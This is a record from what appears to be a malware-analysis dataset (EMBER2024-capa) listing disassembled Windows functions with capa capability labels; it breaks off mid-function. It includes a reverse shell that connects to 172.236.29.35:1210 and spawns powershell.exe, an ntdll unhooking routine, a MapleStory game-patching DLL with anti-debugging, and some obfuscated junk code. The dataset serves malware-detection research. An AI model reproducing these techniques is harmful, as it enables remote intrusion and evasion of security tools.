joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002a7f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rdi, r8
mov rsi, rcx
mov rcx, qword [rcx + 8]
mov rbx, qword [rsi + 0x10]
xor r14d, r14d
mov eax, 0
cmp rbx, 3
jb 0x14002a85c
movzx r8d, byte [rbx + rcx - 2]
mov r9d, r8d
and r9b, 0xf0
xor r14d, r14d
cmp r9b, 0xa0
jne 0x14002a85c
xor r14d, r14d
cmp byte [rbx + rcx - 3], 0xed
jne 0x14002a85c
movzx r14d, byte [rbx + rcx - 1]
and r8d, 0xf
and r14d, 0x3f
shl r8d, 0x10
shl r14d, 0xa
or r14d, r8d
mov al, 1
cmp rdi, 3
jb 0x14002a908
cmp byte [rdx], 0xed
jne 0x14002a911
movzx r12d, byte [rdx + 1]
mov r8d, r12d
and r8b, 0xf0
cmp r8b, 0xb0
setne r8b
xor al, 1
or al, r8b
jne 0x14002a911
movzx r13d, byte [rdx + 2]
cmp rbx, 3
jb 0x14002a8a1
add rbx, 0xfffffffffffffffd
mov qword [rsi + 0x10], rbx
and r13d, 0x3f
shl r12d, 6
lea r8, [rdi + 1]
mov rax, qword [rsi]
sub rax, rbx
cmp rax, r8
jb 0x14002a9fb
add rdx, 3
mov r15, rdx
and r12d, 0x3c0
or r14d, r13d
or r14d, r12d
add r14d, 0x10000
mov rcx, rsi
mov edx, r14d
call fcn.140029760
add rdi, 0xfffffffffffffffd
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
cmp rax, rdi
jb 0x14002aa20
mov rcx, qword [rsi + 8]
add rcx, rbx
mov rdx, r15
jmp 0x14002a9ae
test rdi, rdi
je 0x14002a9a0
lea rax, [rdx + rdi]
mov r9, rdx
jmp 0x14002a938
add r9, 2
cmp r8, rax
cmovne r8, r9
nop word cs:[rax + rax]
mov r9, r8
cmp r8, rax
je 0x14002a9a0
lea r8, [r9 + 1]
movzx r10d, byte [r9]
test r10b, r10b
jns 0x14002a930
cmp r10b, 0xe0
jb 0x14002a91a
cmp r10b, 0xed
jne 0x14002a96f
cmp r8, rax
je 0x14002a9a0
lea r8, [r9 + 2]
cmp r8, rax
je 0x14002a9a0
cmp byte [r9 + 1], 0x9f
ja 0x14002a99c
add r9, 3
mov r8, r9
jmp 0x14002a930
add r9, 2
cmp r8, rax
cmove r9, r8
xor r8d, r8d
cmp r9, rax
setne r8b
add r8, r9
cmp r10b, 0xf0
jb 0x14002a930
xor r9d, r9d
cmp r8, rax
setne r9b
add r8, r9
jmp 0x14002a930
mov byte [rsi + 0x18], 0
mov rax, qword [rsi]
sub rax, rbx
cmp rax, rdi
jb 0x14002a9ce
add rcx, rbx
mov r8, rdi
call fcn.140030090
add rbx, rdi
mov qword [rsi + 0x10], rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rsi
mov r14, rdx
mov rdx, rbx
mov r8, rdi
call fcn.14003def0
mov rdx, r14
mov rcx, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
jmp 0x14002a9ab
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rsi
mov r15, rdx
mov rdx, rbx
call fcn.14003def0
mov rdx, r15
jmp 0x14002a8bc
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.14003def0
mov rbx, qword [rsi + 0x10]
jmp 0x14002a8f9
Function at 0x14002f4fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14002f546
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002f546
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002f546
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002f546
cmp dword [rcx + 0x84], 0xe
jbe 0x14002f546
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002f548
xor al, al
add rsp, 0x28
ret

Function at 0x140033c24
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140033a14
Function at 0x140036ccc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140036cfc
xor eax, eax
jmp 0x140036dbf
mov rbp, rbx
cmp word [rax], si
je 0x140036d21
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140036d08
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140036d04
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140036c1c
movsxd r14, eax
test eax, eax
jne 0x140036d5f
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
jmp 0x140036cf5
mov rcx, r14
call fcn.140037b80
mov rdi, rax
test rax, rax
jne 0x140036d78
xor ecx, ecx
call fcn.140035348
jmp 0x140036d54
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140036c1c
test eax, eax
jne 0x140036da9
mov rcx, rdi
call fcn.140035348
jmp 0x140036db3
xor ecx, ecx
call fcn.140035348
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14003a1ac
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140032d60
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14003a236
cmp byte [rbp - 0x21], r15b
je 0x14003a231
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14003a26c
call fcn.1400383a0
test eax, eax
jne 0x14003a258
cmp byte [rbp - 0x21], r15b
je 0x14003a250
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14003a26c
cmp byte [rbp - 0x21], r15b
je 0x14003a269
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140035398
test eax, eax
jne 0x14003a30c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140032d60
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14003a2ab
cmp byte [rbp - 0x21], r15b
je 0x14003a2e0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14003a2e0
call fcn.1400383a0
test eax, eax
jne 0x14003a2cc
cmp byte [rbp - 0x21], r15b
je 0x14003a2c5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14003a2e0
cmp byte [rbp - 0x21], r15b
je 0x14003a2dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140035398
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14003a30c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14003a30f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14003a31d
mov rcx, rdi
call fcn.140035348
cmp byte [rbp + 0x3f], r15b
je 0x14003a32c
mov rcx, qword [rbp + 0x27]
call fcn.140035348
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001060
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.CreateFileA
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateFileMappingA
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.MapViewOfFile
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualProtect
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CloseHandle
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
lea rcx, str.ntdll.dll
mov r13, rax
xor eax, eax
mov qword [rsp + 0x68], rax
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
lea r8, [rsp + 0x58]
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r14, qword [rsp + 0x58]
lea rcx, str.c:windows_system32_ntdll.dll
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov r8d, 1
mov dword [rsp + 0x20], 3
call rdi
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x48], rax
mov r8d, 0x1000002
mov dword [rsp + 0x20], ebx
mov rcx, rax
call rsi
xor r9d, r9d
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov edx, 4
mov rcx, rax
call rbp
movsxd rsi, dword [r14 + 0x3c]
mov rbp, rax
add rsi, r14
movzx edi, bx
cmp bx, word [rsi + 6]
jae 0x140001264
lea r8, str..text
xor r12d, r12d
nop word [rax + rax]
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r12
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x140001252
cmp rax, 6
jne 0x1400011f0
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x70]
mov edx, dword [rbx + 0x20]
add rcx, r14
mov r8d, 0x40
mov dword [rsp + 0x70], r12d
call r15
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + rbp]
lea rcx, [rax + r14]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x70]
mov edx, dword [rbx + 0x20]
add rcx, r14
mov r8d, dword [rsp + 0x70]
call r15
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x1400011d0
mov r12, qword [rsp + 0x40]
mov rcx, r13
call r12
mov rcx, qword [rsp + 0x48]
call r12
mov rcx, qword [rsp + 0x50]
call r12
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400012f0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140001390
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x150
mov ecx, 0x202
lea rdx, [0x140022f40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
mov ecx, ebx
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_WSASocketA]
lea rcx, str.172.236.29.35
mov qword [0x140022f20], rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x10
lea rcx, str.172.236.29.35
mov r8, rax
call fcn.140004c90
lea rcx, str.1210
mov word [0x140022f10], bx
call fcn.140005140
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.172.236.29.35
mov word [0x140022f12], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x140022f14], eax
mov ecx, 0x2710
call qword [0x140022e60]
mov rcx, qword [0x140022f20]
lea rdx, [0x140022f10]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov r8d, 0x10
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
test eax, eax
jne 0x140001440
mov rax, qword [0x140022f20]
lea rcx, [rsp + 0x5f]
xorps xmm0, xmm0
mov qword [0x140022f00], rax
movups xmmword [0x140022ef0], xmm0
mov qword [0x140022ef8], rax
xor edx, edx
mov qword [0x140022ef0], rax
mov r8d, 0xf0
mov eax, dword [0x140021120]
mov dword [rsp + 0x58], eax
movzx eax, word [0x140021124]
movups xmmword [0x140022ea0], xmm0
mov word [rsp + 0x5c], ax
movzx eax, byte [0x140021126]
movups xmmword [0x140022ed0], xmm0
mov byte [rsp + 0x5e], al
movups xmmword [0x140022eb0], xmm0
mov dword [0x140022ea0], 0x68
movups xmmword [0x140022ec0], xmm0
mov dword [0x140022edc], 0x101
movups xmmword [0x140022ee0], xmm0
movsd xmm0, qword [str.powershell.exe]
movsd qword [rsp + 0x50], xmm0
call fcn.1400148d0
lea rax, [0x140022e80]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x50]
lea rax, [0x140022ea0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rbx, qword [rsp + 0x160]
xor eax, eax
add rsp, 0x150
pop rdi
ret

Function at 0x1400020ec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002136
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002136
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002136
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002136
cmp dword [rcx + 0x84], 0xe
jbe 0x140002136
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002138
xor al, al
add rsp, 0x28
ret
Function at 0x140007d94
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140007e03
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007e03
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007e03
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007e03
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007e03
cmp dword [rcx + 0x84], 0xe
jbe 0x140007e03
cmp dword [rcx + 0xf8], 0
je 0x140007e03
mov ecx, ebx
call fcn.140007eb4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140007c90
nop
cmp dword [rbp + 0x20], 0
je 0x140007e51
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140007e5c
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140007d94

Function at 0x140007f98
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007d94
Function at 0x14000d2bc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000d2ec
xor eax, eax
jmp 0x14000d3af
mov rbp, rbx
cmp word [rax], si
je 0x14000d311
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000d2f8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000d2f4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000d1dc
movsxd r14, eax
test eax, eax
jne 0x14000d34f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000d2e5
mov rcx, r14
call fcn.14000a294
mov rdi, rax
test rax, rax
jne 0x14000d368
xor ecx, ecx
call fcn.140009708
jmp 0x14000d344
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000d1dc
test eax, eax
jne 0x14000d399
mov rcx, rdi
call fcn.140009708
jmp 0x14000d3a3
xor ecx, ecx
call fcn.140009708
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001128c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400112a2
mov al, 1
jmp 0x140011302
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400112b3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140011300
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000d794
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140011300
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140011300
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140011300
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140011302
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140014220
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140014248
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140014248
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1401322c0
Capabilities:
Access peb ldr_data
Execute anti-debugging instructions
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x3b
int3
add eax, 0xff49d1ff
enter 0xffffffffffffe1ff, 0x48
mov edx, 0xfffc30e9
jmp [rax]
pause
xor ebp, 0x940a532d
or r11d, 0x46574be4
cmp r13d, 0xaf69d863
inc rdx
jmp rcx
lea r9d, [rbx + 0x47be]
ror r11d, 0xd3
push r11
lea r11d, [rbp + 0x18bf]
lea r14d, [rbx - 0xc08c]
jne 0x140132070
je 0x140132070
test r8, rbx
jo 0x140131a77
and edx, 0xc5ae8a69
test r8, rbp
syscall
movabs r14, 0x3148fbfffffeb3e9
jl 0x140132110
jmp 0x140131f28
jge 0x140131408
ror ebx, 0x63
call fcn.14013148c
in eax, dx
cmp rdi, rbx
cmp r9d, 0x53a325fa
lea esi, [rdx + 0xfbf]
movabs r9, 0xc780dfffffce4e9
ror r11d, 0x96
lea esi, [rbp - 0xeb30]
cmp r12d, 0xb5102165
jmp 0x140132859
loope 0x14013230a
mul ebp
test rsi, rdx
jno 0x140130e4b
or ebx, 0xfa2a02d3
je 0x1401322e7
jne 0x1401322e7
lea r12d, [rdi - 0x45f5]
lea r8d, [rcx - 0xf111]
movabs r15, 0x6d7cc1fffffd4fe9
pushf
test r11, rbx
test r10d, 0x3914d389
pushf
ret 0x18
jmp 0x14013203b
push 0xfffffffff59d8d44
leave
invalid
rol byte [rcx + 0x665eb0ca], 0x43
lea r13d, [rbp + 0x1492]
jmp 0x140132edb
lea ebp, [rcx + 0x35fb]
lea ecx, [rcx - 0x4d1f]
test r14d, 0x132ab6c1
call rax
jmp rcx
Function at 0x1800025c0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
cmp dword [rsp + 0x58], 1
jne 0x18000267d
call fcn.180005520
mov dword [rsp + 0x30], eax
call fcn.180005020
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x30], 0
jne 0x180002616
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Internal_Hooks_Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp dword [rsp + 0x34], 0
jne 0x180002632
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Windows_Hooks_Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x180002690]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [rsp + 0x30], 0
je 0x18000266f
cmp dword [rsp + 0x34], 0
je 0x18000266f
mov dword [rsp + 0x38], 1
jmp 0x180002677
mov dword [rsp + 0x38], 0
mov eax, dword [rsp + 0x38]
jmp 0x180002683
jmp 0x180002681
xor eax, eax
add rsp, 0x48
ret

Function at 0x180004ab0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0xe8
mov ecx, 0x1b58
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x60]
call fcn.1800020d0
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.180002120
lea rax, [rsp + 0x98]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x40], rax
lea rdx, str.7C_03_33_C0_C3_41_8D_41_01_89_41_08_B8_01_00_00_00
mov rcx, qword [rsp + 0x30]
call fcn.1800017f0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
lea rdx, str.MapleStory.exe
mov rcx, qword [rsp + 0x40]
call fcn.1800017f0
mov qword [rsp + 0x50], rax
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.180002220
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x180004b4d
xor al, al
jmp 0x180004bb5
mov rax, qword [rsp + 0x28]
mov byte [rax], 0xeb
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x180004b6c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180004b55
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
mov qword [rsp + 0x58], rax
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180004bb3
mov edx, 2
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0xe8
ret
Function at 0x180005760
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.180005980
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x180005867
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x1800057c4
mov rax, qword [0x18002c008]
cmp qword [rsp + 0x20], rax
ja 0x1800057c4
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x180005786
mov r8d, gethostbyname
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.18000bba0
mov r8d, gethostbyname
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1800057f3
jmp 0x180005867
cmp dword [rsp + 0x50], 0x10000
jne 0x18000584a
cmp qword [rsp + 0x48], 0x10000
jb 0x18000584a
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180005838
mov rax, qword [rsp + 0x28]
jmp 0x180005869
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x180005862
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.180005980
mov qword [rsp + 0x20], rax
jmp 0x180005786
xor eax, eax
add rsp, 0x68
ret

Function at 0x180005870
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.1800059c0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x180005973
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x1800058cb
mov rax, qword [0x18002c008]
cmp qword [rsp + 0x20], rax
ja 0x1800058cb
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x18000588d
mov r8d, gethostbyname
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.18000bba0
mov r8d, gethostbyname
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1800058fa
jmp 0x180005973
cmp dword [rsp + 0x50], 0x10000
jne 0x180005951
cmp qword [rsp + 0x48], 0x10000
jb 0x180005951
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
